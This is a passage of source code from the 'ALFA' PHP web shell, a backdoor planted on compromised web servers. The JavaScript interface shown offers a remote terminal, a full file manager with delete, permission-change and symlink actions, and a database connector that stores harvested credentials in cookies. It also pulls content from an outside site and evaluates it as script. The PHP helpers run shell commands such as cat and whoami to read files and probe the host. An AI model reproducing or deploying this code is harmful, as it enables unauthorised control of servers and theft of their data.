.cmd-history-holder\").style.visibility=\"hidden\",d.querySelector(\"#\"+a+\" .cmd-history-holder\").style.opacity=\"0\",e.setAttribute(\"mode\",\"off\"),!1}var i=e.getAttribute(\"mode\"),l=(a=e.getAttribute(\"term_id\"),d.querySelector(\"#\"+a+\" .cmd-history-holder\"));0==i.length||\"off\"==i?(l.style.visibility=\"visible\",l.style.opacity=\"1\",e.setAttribute(\"mode\",\"on\")):(l.style.visibility=\"hidden\",l.style.opacity=\"0\",e.setAttribute(\"mode\",\"off\"))}function geEvalAceValue(e){var t=e.querySelector(\".php-evals-ace\").getAttribute(\"id\");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute(\"path\"),a=e.getAttribute(\"fname\"),i=e.getAttribute(\"base_id\");if(\"..\"==a&&\"phar:\/\/\"!=t.substr(0,7))return!1;var l=\"a=\"+alfab64(\"open_archive_dir\")+\"&c=\"+alfab64(c_)+\"&alfa1=\"+alfab64(t)+\"&alfa2=\"+alfab64(i)+\"&ajax=\"+alfab64(\"true\");_Ajax(d.URL,l,function(e){if(\"0\"!=e){$(\"archive_base_\"+i).innerHTML=e;var a=$(\"archive_dir_\"+i).getAttribute(\"archive_name\"),l=$(\"archive_dir_\"+i).getAttribute(\"archive_full\"),r=\"\",o=\"\";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split(\"\/\")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+\"\/\",r+='<a base_id=\"'+i+'\" fname=\"'+t[s]+'\" path=\"'+l+o+'\" onclick=\"alfaOpenArchive(this);\">'+t[s]+\"\/<\/a>\")}d.querySelector(\"#archive_dir_\"+i+\" .archive_pwd_holder\").innerHTML=r}},!1,\"open_archive_dir\")}function alfaDeleteConnectToDb(e){d.querySelectorAll(\".dbh_\"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie(\"alfa_connection_hist\")))}catch(e){}var i=d.querySelector(\"#\"+t+\" div.sf\");i.querySelector(\"input[name=sql_host]\").value=a[e].host,i.querySelector(\"input[name=sql_login]\").value=a[e].user,i.querySelector(\"input[name=sql_pass]\").value=a[e].pass,(i.querySelector(\"input[name=sql_base]\")?i.querySelector(\"input[name=sql_base]\"):i.querySelector(\"select[name=sql_base]\")).value=a[e].db,i.querySelector(\"input[name=sql_count]\").checked=!0,d.querySelector(\"#\"+t+\" div.sf .db-connect-btn\").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute(\"db_id\"),i=e.getAttribute(\"mode\");if(rows='<table class=\"connection-hist-table\"><tr><th>*<\/th><th>Host<\/th><th>User<\/th><th>Pass<\/th><th>Database<\/th><th>Connect<\/th><th>Delete<\/th><\/tr>',\"on\"==i){e.setAttribute(\"mode\",\"off\");try{t=JSON.parse(atob(getCookie(\"alfa_connection_hist\")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+\"_\"+t[l].db;rows+='<tr class=\"dbh_'+o+'\"><th>'+r+\"<\/th><th>\"+t[l].host+\"<\/th><th>\"+t[l].user+\"<\/th><th>\"+t[l].pass+\"<\/th><th>\"+t[l].db+'<\/th><th><button style=\"margin: unset;\" class=\"connection-his-btn\" onclick=\\'alfaConnectToDb(\"'+o+'\",\"'+a+'\");\\'>Connect<\/button><\/th><th style=\"text-align: center;\"><button style=\"margin: unset;\" class=\"connection-his-btn connection-delete\" onclick=\\'alfaDeleteConnectToDb(\"'+o+\"\\\");'>X<\/button><\/th><\/tr>\",r++}rows+=\"<\/table\"}else e.setAttribute(\"mode\",\"on\"),rows=\"\";d.querySelector(\"#\"+a+\" .connection_history_holder\").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie(\"alfa_connection_hist\")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+\"_\"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie(\"alfa_connection_hist\",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a=\"\";if(0==(a=void 0!==t?\"cd \"+c_:e.c.value).length)return!1;\"l\"==a?a=\"ls -trh --color\":\"ll\"==a&&(a=\"ls -ltrh --color\");var i=e.getAttribute(\"term_id\");alfaloader(i,\"block\"),closeHistoryCmd(\"free\",e);var l=\"\";\"FORM\"==e.tagName&&(l=e.querySelector(\".php-terminal-current-dir\").innerHTML),0==(l=l.trim()).length&&(l=c_);var r=\"a=\"+alfab64(\"terminalExec\")+\"&c=\"+alfab64(l)+\"&alfa1=\"+alfab64(a)+\"&ajax=\"+alfab64(\"true\");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,\"none\");try{var a=$(\"tab_\"+i);null!=a&&((-1==a.classList.value.indexOf(\"active-terminal-tab\")||cgi_is_minimized)&&(a.classList.add(\"tab-is-done\"),alfaShowNotification(\"proccess is done...\",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge(\"cgiloader\"))}catch(e){}e=JSON.parse(e),d.querySelector(\"#\"+t+\" .php-terminal-output > pre\").innerHTML=e.output,0!=e.path.length&&(d.querySelector(\"#\"+t+\" .php-terminal-current-dir\").innerHTML=e.path)},!1,i),void 0===t){d.querySelector(\"#\"+i+\" .cmd-history-holder .commands-history\").insertAdjacentHTML(\"afterbegin\",\"<div onclick=\\\"d.querySelector('#\"+i+' .php-terminal-input\\').value = this.innerHTML;\" class=\"history-cmd-line\">'+a+\"<\/div>\");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie(\"alfa-terminal-history\",btoa(JSON.stringify(o)),2012)}d.querySelector(\"#\"+i+\" input.php-terminal-input\").focus()}function pageChangedFilesMan(e){var t=\"filesman_holder_\"+alfa_current_fm_id,a=getCookie(t+\"_page_number\"),i=e.innerText;if(\"<<\"==i){a=d.querySelector(\"#\"+t+\" .active-page-number\").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(\">>\"==i){a=d.querySelector(\"#\"+t+\" .active-page-number\").innerText;a=parseInt(a);var l=d.querySelector(\"#\"+t+\" .last-page-number\").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+\"_page_number\",i,2012),g(\"FilesMan\",c_)}function alfaColDumperInit(){var e=d.querySelector(\".tab_name.tab_is_active\").getAttribute(\"opt_id\"),t=d.querySelector(\"#\"+e),a=t.getElementsByClassName(\"box\");for(i=0;i<a.length;i++)a[i].addEventListener(\"click\",function(){null!=this.parentElement.querySelector(\".nested\")&&(this.parentElement.querySelector(\".nested\").classList.toggle(\"active\"),this.classList.toggle(\"check-box\"))});var i;a=t.getElementsByClassName(\"sub-box\");for(i=0;i<a.length;i++)a[i].setAttribute(\"opt_id\",e),a[i].addEventListener(\"click\",function(){this.classList.toggle(\"check-box\");var e=this.getAttribute(\"tbl\"),t=this.getAttribute(\"opt_id\");t=t.replace(\"option_\",\"\"),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute(\"row\"),i=$(\"td_row_\"+a),l=e.getAttribute(\"opt_title\"),r=e.getAttribute(\"fname\");if(l=decodeURIComponent(r)+\" -> \"+l,null!=i){i.insertAdjacentHTML(\"afterbegin\",'<div class=\"symlink_path\" id=\"link_id_'+a+'\">'+l+\"<\/div>\");var o=t.clientX,n=t.clientY-30;$(\"link_id_\"+a).style.left=o+\"px\",$(\"link_id_\"+a).style.top=n+\"px\"}}function hideSymlinkPath(e,t){t.stopPropagation(),$(\"link_id_\"+e.getAttribute(\"row\")).remove()}function alfagetFlags(){data=\"a=\"+alfab64(\"get_flags\")+\"&c=\"+alfab64(c_)+\"&ajax=\"+alfab64(\"true\"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty(\"server\")&&(d.querySelectorAll(\".flag-holder\")[0].innerHTML='<img draggable=\"false\" title=\"'+t.server.name+'\" src=\"http:\/\/solevisible.com\/images\/flags\/48\/'+t.server.code.toLowerCase()+'.png\">',d.querySelectorAll(\".flag-holder\")[0].style.display=\"inline\"),t.hasOwnProperty(\"client\")&&(d.querySelectorAll(\".flag-holder\")[1].innerHTML='<img draggable=\"false\" title=\"'+t.client.name+'\" src=\"http:\/\/solevisible.com\/images\/flags\/48\/'+t.client.code.toLowerCase()+'.png\">',d.querySelectorAll(\".flag-holder\")[1].style.display=\"inline\")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$(\"coldumper-delimiter-input\").style.display=\"delimiter\"==t?\"inline-block\":\"none\"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split(\"&\").reduce(function(e,t){var a=t.split(\"=\");return e[a[0]]=a[1],e},{});if(\"\"!=e)switch(t.action){case\"fileman\":case\"options\":t.path=decodeURIComponent(t.path),g(\"FilesMan\",t.path,function(e){if(t.hasOwnProperty(\"file\")){var a=\"auto\";isArchive(t.file)&&(a=\"view\"),editor(t.path+\"\/\"+t.file,a,\"\",\"\",\"\",\"file\")}}),\"options\"==t.action&&t.hasOwnProperty(\"opt\")&&(alfa_can_add_opt=!0,g(t.opt,null,\"\",\"\",\"\"),d.querySelector(\".opt-title\").innerHTML=$(\"menu_opt_\"+t.opt).innerHTML),t.hasOwnProperty(\"file\")||editorClose(\"editor\"),t.hasOwnProperty(\"opt\")||editorClose(\"options_window\"),editorClose(\"cgiloader\");break;default:g(\"FilesMan\",\"<?php echo $GLOBALS[\"cwd\"]; ?>\"),editorClose(\"editor\"),editorClose(\"options_window\"),editorClose(\"cgiloader\")}else g(\"FilesMan\",\"<?php echo $GLOBALS[\"cwd\"]; ?>\"),editorClose(\"editor\"),editorClose(\"options_window\"),editorClose(\"cgiloader\")}function alfaFmngrContextRow(){d.querySelectorAll(\".fmanager-row a.main_name\").forEach(function(e){e.addEventListener(\"contextmenu\",function(e){var t=e.target,a=\"\";if(\"..\"==(a=\"A\"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute(\"fname\"):t.getAttribute(\"fname\")))return!1;var i=t.getAttribute(\"id\"),l=t.getAttribute(\"path\"),r=t.getAttribute(\"ftype\"),o=[\"newtab\",\"link\",\"download\",\"view\",\"edit\",\"move\",\"copy\",\"rename\",\"modify\",\"permission\",\"compress\",\"extract\",\"delete\"];for(var n in\"file\"!=r||isArchive(a)?o[3]=\"view_archive\":o.splice(11,1),\"folder\"==r&&(o=[\"newtab\",\"link\",\"move\",\"copy\",\"rename\",\"modify\",\"permission\",\"compress\",\"delete\"]),alfaSortMenuItems(o),o){var s=d.querySelector(\"#rightclick_menu > a[name=\"+o[n]+\"]\");switch(s.setAttribute(\"fid\",i),s.setAttribute(\"fname\",decodeURIComponent(a)),s.setAttribute(\"path\",l),s.setAttribute(\"ftype\",r),o[n]){case\"view\":case\"edit\":var c=\"auto\";\"edit\"==o[n]&&(c=\"edit\"),s.setAttribute(\"href\",\"#action=fileman&path=\"+c_+\"\/&file=\"+a),s.setAttribute(\"onclick\",\"editor('\"+a+\"','\"+c+\"','','','','file')\");break;case\"newtab\":var u=a;\"file\"==r?(u=\"&file=\"+a,s.setAttribute(\"href\",\"#action=fileman&path=\"+c_+\"\/\"+u),s.setAttribute(\"target\",\"_blank\"),s.onclick=function(){}):(s.setAttribute(\"href\",\"javascript:void(0)\"),s.removeAttribute(\"target\"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case\"delete\":s.setAttribute(\"onclick\",\"var chk = confirm('Are You Sure For Delete # \"+a+\" # ?'); chk ? g('FilesMan',null,'delete', '\"+a+\"') : '';\");break;case\"download\":s.setAttribute(\"onclick\",\"g('FilesTools',null,'\"+a+\"', 'download')\");break;case\"permission\":try{var p=d.querySelector(\"#id_chmode_\"+i.replace(\"id_\",\"\")+\" span\").innerHTML;s.setAttribute(\"perm\",p.trim())}catch(e){}break;case\"link\":s.style.display=\"block\";var f=\"<?php echo $_SERVER[\"DOCUMENT_ROOT\"]; ?>\/\",m=(c_+\"\/\"+a).replace(\/\\\/\\\/\/g,\"\/\");if(-1!=m.indexOf(f)){f=m.replace(f,\"\");var b=location.origin+\"\/\"+f;s.setAttribute(\"href\",\"\"+b)}else s.style.display=\"none\"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+\"\/\"+t);l=l.replace(\/\\\/\\\/\/g,\"\/\");var r=$(\"filesman_tab_1\"),o=r.getAttribute(\"fm_counter\");o=parseInt(o)+1,r.setAttribute(\"fm_counter\",o),d.querySelector(\"#filesman_tabs_child\").insertAdjacentHTML(\"beforeend\",'<div onmouseover=\"alfaFilesmanTabShowTitle(this,event);\" onmouseout=\"alfaFilesmanTabHideTitle(this,event);\" path=\"'+l+'\" id=\"filesman_tab_'+o+'\" fm_id=\"'+o+'\" onclick=\"filesmanTabController(this);\" fname=\"'+t+'\" class=\"filesman_tab\"><img class=\"folder-tab-icon\" src=\"http:\/\/solevisible.com\/icons\/menu\/folder2.svg\"> <span class=\"filesman-tab-folder-name\">'+i+'<\/span> <img fm_id=\"'+o+'\" onclick=\"closeFmTab(this,event);return false;\" title=\"[close]\" src=\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\"><\/div>'),d.querySelector(\".ajaxarea\").insertAdjacentHTML(\"beforebegin\",'<div style=\"position:relative;\" fm_id=\"'+o+'\" id=\"filesman_holder_'+o+'\" class=\"ajaxarea\"><div class=\"header\"><\/div><\/div>'),alfa_fm_id=o,g(\"FilesMan\",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$(\"filesman-tab-full-path\");a.style.display=\"block\",a.style.top=e.offsetTop-37+\"px\",a.style.left=e.offsetLeft-$(\"filesman_tabs\").scrollLeft+\"px\",a.innerHTML=e.getAttribute(\"path\")}function alfaFilesmanTabHideTitle(e,t){$(\"filesman-tab-full-path\").style.display=\"none\"}function alfaPopupAction(e,t){var a=\"\",i=\"\";switch(t){case\"rename\":a=\"Old file name:\",i=\"New file name:\";break;case\"copy\":a=\"File path:\",i=\"Enter the file path that you want to copy this file to:\";break;case\"move\":a=\"Current Path:\",i=\"Enter the file path that you want to move this file to:\";break;case\"extract\":a=\"Files to extract:\",i=\"Enter the path you wish to extract the files to and click Extract:\"}var l=e.getAttribute(\"fname\"),r=e.getAttribute(\"path\"),o=t.charAt(0).toUpperCase()+t.slice(1);if(\"permission\"==t){d.querySelector(\"#shortcutMenu-holder\").style.height=\"222px\",o=\"Change Permissions\",d.querySelector(\"#shortcutMenu-holder > form > .perm-table-holder\").style.display=\"block\",d.querySelector(\"#shortcutMenu-holder > form > input[name=fname]\").style.display=\"none\";var n=e.getAttribute(\"perm\"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector(\"#shortcutMenu-holder > form input[name=u]\").value=s,d.querySelector(\"#shortcutMenu-holder > form input[name=g]\").value=c,d.querySelector(\"#shortcutMenu-holder > form input[name=w]\").value=u,autoCheckPerms(s,\"u\",[\"u\",\"g\",\"w\"]),autoCheckPerms(c,\"g\"),autoCheckPerms(u,\"w\")}else d.querySelector(\"#shortcutMenu-holder\").style.height=\"190px\",d.querySelector(\"#shortcutMenu-holder > form > input[name=fname]\").style.display=\"block\",d.querySelector(\"#shortcutMenu-holder > form > .perm-table-holder\").style.display=\"none\";var p=\"move\"==t||\"copy\"==t?r+l:l;if(\"modify\"==t){var f=\"tr_row_\"+e.getAttribute(\"fid\").replace(\"id_\",\"\");p=d.querySelector(\"#\"+f+\" .main_modify\").innerText}d.querySelector(\".cl-popup-fixed\").style.display=\"block\",d.querySelector(\"#shortcutMenu-holder .popup-head\").innerHTML=o,d.querySelector(\"#shortcutMenu-holder .old-path-lbl\").innerHTML=a,d.querySelector(\"#shortcutMenu-holder .new-filename-lbl\").innerHTML=i,d.querySelector(\"#shortcutMenu-holder .popup-foot > button[name=accept]\").innerHTML=o,d.querySelector(\"#shortcutMenu-holder > form > .old-path-content\").innerHTML=r+l,d.querySelector(\"#shortcutMenu-holder > form > input[name=fname]\").value=p,d.querySelector(\"#shortcutMenu-holder button[name=accept]\").setAttribute(\"fid\",e.getAttribute(\"fid\")),d.querySelector(\"#shortcutMenu-holder button[name=accept]\").setAttribute(\"action\",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector(\"#shortcutMenu-holder > form input[name=\"+l+\"r]\").checked=!1,d.querySelector(\"#shortcutMenu-holder > form input[name=\"+l+\"w]\").checked=!1,d.querySelector(\"#shortcutMenu-holder > form input[name=\"+l+\"x]\").checked=!1}var r=d.querySelector(\"#shortcutMenu-holder > form input[name=\"+t+\"r]\"),o=d.querySelector(\"#shortcutMenu-holder > form input[name=\"+t+\"w]\"),n=d.querySelector(\"#shortcutMenu-holder > form input[name=\"+t+\"x]\");if(\"boolean\"!=typeof e)\"7\"==e?(r.checked=!0,o.checked=!0,n.checked=!0):\"4\"==e?r.checked=!0:\"2\"==e?o.checked=!0:\"1\"==e?n.checked=!0:\"6\"==e?(r.checked=!0,o.checked=!0):\"3\"==e?(o.checked=!0,n.checked=!0):\"5\"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),\"u\"==t?d.querySelector(\"#shortcutMenu-holder > form input[name=u]\").value=s:\"g\"==t?d.querySelector(\"#shortcutMenu-holder > form input[name=g]\").value=s:\"w\"==t&&(d.querySelector(\"#shortcutMenu-holder > form input[name=w]\").value=s)}}function gg(e,t,a,i,l,r){var o=\"filesman_holder_\"+alfa_current_fm_id;alfaloader(o,\"block\"),data=\"a=\"+alfab64(e)+\"&c=\"+alfab64(t)+\"&alfa1=\"+alfab64(a)+\"&alfa2=\"+alfab64(i)+\"&alfa3=\"+alfab64(l)+\"&ajax=\"+alfab64(\"true\"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute(\"action\");switch(t){case\"rename\":case\"move\":case\"copy\":var a=e.getAttribute(\"fid\").replace(\"id_\",\"\"),i=$(\"id_\"+a).getAttribute(\"fname\"),l=d.querySelector(\"#shortcutMenu-holder > form > input[name=fname]\").value;l=l.trim(),i=i.trim(),gg(\"doActions\",c_,i,l,t,function(e,i){if(\"rename\"==t)if(\"done\"==e){var r=$(\"id_\"+a);updateFileEditor(a,l);var o=r.getAttribute(\"path\")+$(\"id_\"+a).getAttribute(\"fname\");d.querySelector(\"#shortcutMenu-holder > form > .old-path-content\").innerHTML=o,r.addEventListener(\"animationend\",function(){r.classList.remove(\"textEffect\")}),r.classList.add(\"textEffect\"),alfaShowNotification(\"Renamed...\",\"Rename Action\"),d.querySelector(\".cl-popup-fixed\").style.display=\"none\"}else alfaShowNotification(\"error...!\",\"Rename Action\",\"error\");alfaloader(i,\"none\")});break;case\"permission\":var r=d.querySelector(\"#shortcutMenu-holder > form input[name=u]\").value,o=d.querySelector(\"#shortcutMenu-holder > form input[name=g]\").value,n=d.querySelector(\"#shortcutMenu-holder > form input[name=w]\").value;i=(i=d.querySelector(\"#shortcutMenu-holder > form > .old-path-content\").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg(\"doActions\",c_,i,s,t,function(e,t){alfaloader(t,\"none\"),alfaShowNotification(e,\"Permission Action\"),d.querySelector(\".cl-popup-fixed\").style.display=\"none\"});break;case\"modify\":a=e.getAttribute(\"fid\").replace(\"id_\",\"\");var c=d.querySelector(\"#shortcutMenu-holder > form > input[name=fname]\").value,u=$(\"id_\"+a).getAttribute(\"fname\");gg(\"doActions\",c_,c,u,t,function(t,a){if(\"ok\"==t){var i=\"tr_row_\"+e.getAttribute(\"fid\").replace(\"id_\",\"\");d.querySelector(\"#\"+i+\" .main_modify\").innerHTML=c,alfaShowNotification(\"success...\",\"Modify Action\"),d.querySelector(\".cl-popup-fixed\").style.display=\"none\"}else alfaShowNotification(t,\"Modify Action\",\"error\");alfaloader(a,\"none\")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:\"horizontal\",animation:300,ghostClass:\"sortable-ghost\",filter:\".not-sortable\"})}$(\"search-input\").addEventListener(\"keydown\",function(e){setTimeout(function(){var e=$(\"search-input\").value;for(var t in d.getElementsByClassName(\"history-list\")[0].innerHTML=\"\",editor_files)if(-1!=editor_files[t].file.search(e)||\"\"==e){var a=0;t==editor_current_file&&(a=\" is_active\"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,\"a=\"+alfab64(\"checkupdate\"),function(e){if(0!=e.length&&\"[]\"!=e){var t=JSON.parse(e);if(t.hasOwnProperty(\"content\")){d.body.insertAdjacentHTML(\"beforeend\",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty(\"copyright\")&&($(\"alfa-copyright\").innerHTML=t.copyright),t.hasOwnProperty(\"solevisible\")&&($(\"alfa_solevisible\").innerHTML=t.solevisible),t.hasOwnProperty(\"code_name\")&&($(\"hidden_sh\").innerHTML=t.code_name.replace(\/\\{version\\}\/g,t.version_number)),t.hasOwnProperty(\"market\")){var a=d.querySelector(\"span.alfa_plus\");if(t.market.hasOwnProperty(\"visible\")&&\"yes\"==t.market.visible&&($(\"menu_opt_market\").style.display=\"inline\"),\"open\"!=t.market.status&&(a.style.color=\"#ffc107\"),t.market.hasOwnProperty(\"content\"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS[\"need_to_update_header\"]; ?>?_Ajax(d.URL,\"a=\"+alfab64(\"updateheader\"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i=\"\",l=0;l<t[a].length;l++)i+=\"useful\"==a||\"downloader\"==a?'<span class=\"header_values\" style=\"margin-left: 4px;\">'+t[a][l]+\"<\/span>\":t[a][l];var r=$(\"header_\"+a);r&&(r.innerHTML=i)}$(\"header_cgishell\").innerHTML=\"ON\",$(\"header_cgishell\").setAttribute(\"class\",\"header_on\")}catch(e){}}):islinux&&_Ajax(d.URL,\"a=\"+alfab64(\"checkcgi\"),function(e){\"ok\"==e&&($(\"header_cgishell\").innerHTML=\"ON\",$(\"header_cgishell\").setAttribute(\"class\",\"header_on\"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$(\"rightclick_menu\").style,alfaInitCwdContext(),document.addEventListener(\"click\",function(e){rightclick_menu_context.opacity=\"0\",setTimeout(function(){rightclick_menu_context.visibility=\"hidden\"},501)},!1);var e=document.createElement(\"script\");e.src=\"https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/Sortable\/1.10.2\/Sortable.min.js\",e.id=\"sortable-plugin\",e.onload=function(){alfaInitSoratableTab($(\"filesman_tabs_child\")),alfaInitSoratableTab(d.querySelector(\".editor-tabs\")),alfaInitSoratableTab(d.querySelector(\".options_tab\")),alfaInitSoratableTab(d.querySelector(\".terminal-tabs\")),alfaInitSoratableTab(d.querySelector(\".sql-tabs\"))},d.body.appendChild(e)}();\r\n<\/script>\r\n<\/body>\r\n<\/html>\r\n<?php\r\n}}\r\nif (!function_exists(\"posix_getpwuid\") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {\r\nfunction posix_getpwuid($p) {return false;} }\r\nif (!function_exists(\"posix_getgrgid\") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {\r\nfunction posix_getgrgid($p) {return false;} }\r\nfunction alfaWhich($p) {\r\n$path = alfaEx('which ' . $p,false,false);\r\nif(!empty($path))\r\nreturn strlen($path);\r\nreturn false;\r\n}\r\nfunction alfaSize($s) {\r\nif($s >= 1073741824)\r\nreturn sprintf('%1.2f', $s \/ 1073741824 ). ' GB';\r\nelseif($s >= 1048576)\r\nreturn sprintf('%1.2f', $s \/ 1048576 ) . ' MB';\r\nelseif($s >= 1024)\r\nreturn sprintf('%1.2f', $s \/ 1024 ) . ' KB';\r\nelse\r\nreturn $s . ' B';\r\n}\r\nfunction alfaPerms($p) {\r\nif (($p & 0xC000) == 0xC000)$i = 's';\r\nelseif (($p & 0xA000) == 0xA000)$i = 'l';\r\nelseif (($p & 0x8000) == 0x8000)$i = '-';\r\nelseif (($p & 0x6000) == 0x6000)$i = 'b';\r\nelseif (($p & 0x4000) == 0x4000)$i = 'd';\r\nelseif (($p & 0x2000) == 0x2000)$i = 'c';\r\nelseif (($p & 0x1000) == 0x1000)$i = 'p';\r\nelse $i = 'u';\r\n$i .= (($p & 0x0100) ? 'r' : '-');\r\n$i .= (($p & 0x0080) ? 'w' : '-');\r\n$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));\r\n$i .= (($p & 0x0020) ? 'r' : '-');\r\n$i .= (($p & 0x0010) ? 'w' : '-');\r\n$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));\r\n$i .= (($p & 0x0004) ? 'r' : '-');\r\n$i .= (($p & 0x0002) ? 'w' : '-');\r\n$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));\r\nreturn $i;\r\n}\r\nfunction alfaPermsColor($f,$isbash=false){\r\n$class = \"\";\r\n$num = \"\";\r\n$human = \"\";\r\nif($isbash){\r\n$class = $f[\"class\"];\r\n$num = $f[\"num\"];\r\n$human = $f[\"human\"];\r\n}else{\r\n$num = substr(sprintf('%o', @fileperms($f)),-4);\r\n$human = alfaPerms(@fileperms($f));\r\nif(!@is_readable($f))\r\n$class = \"main_red_perm\";\r\nelseif (!@is_writable($f))\r\n$class = \"main_white_perm\";\r\nelse\r\n$class = \"main_green_perm\";\r\n}\r\nreturn '<span style=\"font-weight:unset;\" class=\"'.$class.'\">'.$num.'<\/span><span style=\"font-weight:unset;\" class=\"beetween_perms\"> >> <\/span><span style=\"font-weight:unset;\" class=\"'.$class.'\">'.$human.'<\/span>';\r\n}\r\nif(!function_exists(\"scandir\")) {\r\nfunction scandir($dir) {\r\n$dh = opendir($dir);\r\nwhile (false !== ($filename = readdir($dh)))\r\n$files[] = $filename;\r\nreturn $files;\r\n}\r\n}\r\nfunction reArrayFiles($file_post){\r\n$file_ary = array();\r\n$file_count = count($file_post['name']);\r\n$file_keys = array_keys($file_post);\r\nfor ($i=0; $i<$file_count; $i++) {\r\nforeach ($file_keys as $key) {\r\n$file_ary[$i][$key] = $file_post[$key][$i];\r\n}\r\n}\r\nreturn $file_ary;\r\n}\r\nfunction _alfa_can_runCommand($cgi=true,$cache=true){\r\n\tif(isset($_COOKIE[\"alfa_canruncmd\"])&&$cache){\r\n\t\treturn true;\r\n\t}\r\n\tif(strlen(alfaEx(\"whoami\",false,$cgi))>0){\r\n\t\t$_COOKIE[\"alfa_canruncmd\"] = true;\r\n\t\treturn true;\r\n\t}\r\n\treturn false;\r\n}\r\nfunction _alfa_symlink($target, $link){\r\n\t$phpsym = function_exists(\"symlink\");\r\n\tif($phpsym){\r\n\t\t@symlink($target, $link);\r\n\t}else{\r\n\t\talfaEx(\"ln -s '\".addslashes($target).\"' '\".addslashes($link).\"'\");\r\n\t}\r\n}\r\nfunction _alfa_file_exists($file,$cgi=true){\r\n\tif(@file_exists($file)){\r\n\t\treturn true;\r\n\t}else{\r\n\t\tif(strlen(alfaEx(\"ls -la '\".addslashes($file).\"'\",false,$cgi))>0){\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\nfunction _alfa_file($file,$cgi=true){\r\n\t$array = @file($file);\r\n\tif(!$array){\r\n\t\tif(strlen(alfaEx(\"id\",false,$cgi))>0){\r\n\t\t\t$data = alfaEx('cat \"'.addslashes($file).'\"',false,$cgi);\r\n\t\t\tif(strlen($data)>0){\r\n\t\t\t\treturn explode(\"\\n\", $data);\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}else{\r\n\t\treturn $array;\r\n\t}\r\n}\r\nfunction _alfa_is_writable($file){\r\n\t$check = false;\r\n\t$check = @is_writable($file);\r\n\tif(!$check){\r\n\t\tif(_alfa_can_runCommand()){\r\n\t\t\t$check = alfaEx('[ -w \"'.trim(addslashes($file)).'\" ] && echo \"yes\" || echo \"no\"');\r\n\t\t\tif($check == \"yes\"){\r\n\t\t\t\t$check = true;\r\n\t\t\t}else{\r\n\t\t\t\t$check = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $check;\r\n}\r\nfunction _alfa_is_dir($dir,$mode=\"-d\"){\r\n\t$check = false;\r\n\t$check = @is_dir($dir);\r\n\tif($mode == \"-e\"){\r\n\t\t$check = @is_file($dir);\r\n\t}\r\n\tif(!$check){\r\n\t\tif(_alfa_can_runCommand()){\r\n\t\t\t$check = alfaEx('[ \"'.trim($mode).'\" \"'.trim(addslashes($dir)).'\" ] && echo \"yes\" || echo \"no\"');\r\n\t\t\tif($check == \"yes\"){\r\n\t\t\t\treturn true;\r\n\t\t\t}else{\r\n\t\t\t\treturn 